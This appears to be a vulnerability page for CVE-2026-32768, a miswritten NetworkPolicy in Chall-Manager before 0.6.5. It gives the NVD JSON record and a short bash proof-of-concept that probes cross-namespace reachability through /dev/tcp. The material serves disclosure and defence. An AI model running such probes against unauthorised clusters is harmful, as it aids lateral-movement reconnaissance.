CVE-2026-32768

#!/bin/bash # PoC for CVE-2026-32768: Chall-Manager NetworkPolicy Bypass # This script attempts to verify connectivity to a pod in a different namespace. TARGET_IP="10.96.0.1" # Replace with a target IP in another namespace TARGET_PORT="80" echo "[+] Testing network connectivity to $TARGET_IP:$TARGET_PORT..." # Check if connection is allowed (Policy bypass) if timeout 2 bash -c "cat < /dev/null > /dev/tcp/$TARGET_IP/$TARGET_PORT" 2>/dev/null; then echo "[+] Vulnerability Confirmed: Connection established to external namespace." else echo "[-] Connection blocked or host unavailable." fi

{"cve": {"id": "CVE-2026-32768", "sourceIdentifier": "[email protected]", "published": "2026-03-20T06:16:09.937", "lastModified": "2026-04-08T20:49:11.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chall-Manager is a platform-agnostic system able to start Challenges on Demand of a player. In versions prior to 0.6.5, due to a miswritten NetworkPolicy, a malicious actor can pivot from an instance to any Pod out of the origin namespace. This breaks the security-by-default property expected as part of the deployment program, leading to a potential lateral movement. In the specific case of sdk/kubernetes.Kompose it does not isolate the instances. This issue has been fixed in version 0.6.5."}, {"lang": "es", "value": "Chall-Manager es un sistema agnóstico de plataforma capaz de iniciar Desafíos bajo demanda de un jugador. En versiones anteriores a la 0.6.5, debido a una NetworkPolicy mal escrita, un actor malicioso puede pivotar desde una instancia a cualquier Pod fuera del espacio de nombres de origen. Esto rompe la propiedad de seguridad por defecto esperada como parte del programa de despliegue, lo que lleva a un movimiento lateral potencial. En el caso específico de SDK/kubernetes.Kompose, no aísla las instancias. Este problema ha sido solucionado en la versión 0.6.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ctfer-io:chall-manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.6.5", "matchCriteriaId": "4731728D-BB33-4EB3-9223-C3C096ABF019"}]}]}], "references": [{"url": "https://github.com/ctfer-io/chall-manager/commit/dc5ef27dfed2befef7f506ab8ca14d062b0d79c5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ctfer-io/chall-manager/releases/tag/v0.6.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ctfer-io/chall-manager/security/advisories/GHSA-mw24-f3xh-j3qv", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}